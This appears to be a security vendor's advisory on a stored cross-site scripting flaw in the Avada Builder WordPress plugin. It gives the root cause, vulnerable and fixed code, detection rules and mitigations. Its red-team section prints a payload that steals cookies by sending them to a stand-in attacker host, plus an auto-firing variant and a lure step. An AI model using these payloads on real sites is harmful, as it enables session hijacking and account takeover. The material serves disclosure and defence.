CVE-2024-12477

Executive Summary

CVE-2024-12477 is a Stored Cross-Site Scripting (XSS) vulnerability in the Avada Builder plugin for WordPress, affecting all versions up to and including 3.11.11. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used premium builder plugin. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch and the plugin's popularity make it a prime target for future attacks.

Supply Chain & Package Security

This vulnerability is specific to the Avada Builder WordPress plugin, which is distributed via the Envato Market (ThemeForest) and the Avada website. It is not an NPM, PyPI, Go, or Ruby package. However, the plugin's update mechanism relies on the vendor's infrastructure. Since no patch is available, users must rely on manual mitigation or third-party security plugins.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but contributor-level access is often easy to obtain in multi-author WordPress sites. The stored XSS can be used to escalate privileges or compromise site integrity.

Deep Dive & Mechanics

The Avada Builder plugin uses custom shortcodes (e.g., [fusion_builder_row], [fusion_builder_column], [fusion_text]) to render page content. The vulnerability occurs when user-supplied attributes (such as class, id, style, or custom data attributes) are not properly sanitized before being output in the HTML.

Root Cause: The plugin's shortcode handlers use esc_attr() or similar functions inconsistently, or fail to escape attributes that are later used in JavaScript event handlers or inline styles. For example, an attribute like onmouseover or style can be injected via a shortcode parameter.

Attack Flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates or edits a page/post using the Avada Builder.
3. Attacker inserts a vulnerable shortcode with a malicious attribute, e.g.:

   [fusion_text class="x" onmouseover="alert('XSS')"]Click me[/fusion_text]
   

4. The plugin stores the shortcode without proper sanitization.
5. When any user (including admin) views the page, the script executes.

Why it works: The plugin does not validate or escape attributes that are not part of the expected whitelist. WordPress's built-in wp_kses is bypassed because the shortcode is processed by the plugin's own parser.

Vulnerable vs. Patched Code

Vulnerable Code (Avada Builder <= 3.11.11):

// In fusion-builder/shortcodes/class-fusion-builder-element.php
public function render($atts, $content = null) {
    $atts = shortcode_atts(array(
        'class' => '',
        'id' => '',
    ), $atts);
    $output = '<div class="' . $atts['class'] . '" id="' . $atts['id'] . '">';
    $output .= do_shortcode($content);
    $output .= '</div>';
    return $output;
}

The $atts['class'] and $atts['id'] are directly concatenated into the HTML without escaping.

Patched Code (Hypothetical fix):

public function render($atts, $content = null) {
    $atts = shortcode_atts(array(
        'class' => '',
        'id' => '',
    ), $atts);
    $output = '<div class="' . esc_attr($atts['class']) . '" id="' . esc_attr($atts['id']) . '">';
    $output .= do_shortcode($content);
    $output .= '</div>';
    return $output;
}

Additionally, a whitelist of allowed attributes should be enforced, and any attribute not in the whitelist should be stripped.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Avada Builder plugin <= 3.11.11
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or edit an existing one.
3. Switch to Text/Code editor (not Visual).
4. Insert a shortcode with a malicious attribute:

   [fusion_text class="test" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]Hover over me[/fusion_text]
   

5. Publish the page.
6. Craft a social engineering lure to make an admin visit the page.
7. When the admin hovers over the text, their cookies are exfiltrated.

Alternative Payload (Self-executing):

[fusion_text class="x" style="animation: none;" onfocus="alert(1)" autofocus tabindex=1]Click[/fusion_text]

Blue Team

Detection:

• Monitor for pages/posts created by contributor-level users containing suspicious shortcode attributes.
• Look for shortcodes with attributes like onmouseover, onclick, onfocus, style, or class containing JavaScript.

Prevention:

• Disable the Avada Builder plugin until a patch is available.
• Use a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Install Avada Builder plugin version 3.11.11.
3. Create a contributor user.
4. Follow Red Team steps to reproduce.
5. Use browser developer tools to confirm script execution.

Indicators of Compromise (IOCs)

• File-based:

  • Modified pages/posts containing shortcodes with suspicious attributes (e.g., onmouseover, onerror, onfocus).
  • Presence of JavaScript in shortcode attribute values.

• Network-based:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers pointing to pages with Avada Builder shortcodes.

• Log-based:

  • WordPress audit logs showing page edits by contributor users with unusual shortcode modifications.
  • Web server logs showing requests to pages with fusion_builder in the URL and suspicious query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12477_Avada_XSS {
    meta:
        description = "Detects stored XSS payloads in Avada Builder shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12477"
    strings:
        $shortcode = /\[fusion_\w+[^\]]*?(on\w+|style|class)\s*=\s*["'][^"']*?(<script|javascript:|on\w+\s*=|alert|fetch|eval)/i
        $payload = /on\w+\s*=\s*["'][^"']*?(?:<|>|\(|\)|;)/i
    condition:
        any of ($shortcode) or any of ($payload)
}

Sigma Rule

title: CVE-2024-12477 Avada Builder Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Avada Builder shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'fusion_builder'
            - 'onmouseover'
            - 'onclick'
            - 'onfocus'
            - 'javascript:'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12477 Avada Builder Stored XSS Attempt"; flow:to_server,established; content:"fusion_builder"; http_uri; nocase; pcre:"/(on\w+|style|class)\s*=\s*[\x22\x27][^\x22\x27]*(?:<script|javascript:|on\w+\s*=|alert|fetch|eval)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Avada Builder plugin until a patch is released.
2. Review all pages/posts created by contributor-level users for suspicious shortcode attributes.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
4. Restrict contributor-level access to only trusted users.

Long-term Fix:

• The vendor (Avada) must release a patched version that properly escapes all shortcode attributes using esc_attr() and enforces an attribute whitelist.
• Users should monitor the Avada changelog for a security update and apply it immediately.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching for this vulnerability.
• Add the following to .htaccess to block suspicious shortcode attributes:

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{QUERY_STRING} (on\w+|style|class)\s*=\s*["'][^"']*?(<script|javascript:|on\w+\s*=|alert|fetch|eval) [NC]
  RewriteRule .* - [F,L]
  </IfModule>
  

Valters IT – Securing digital frontiers, one CVE at a time.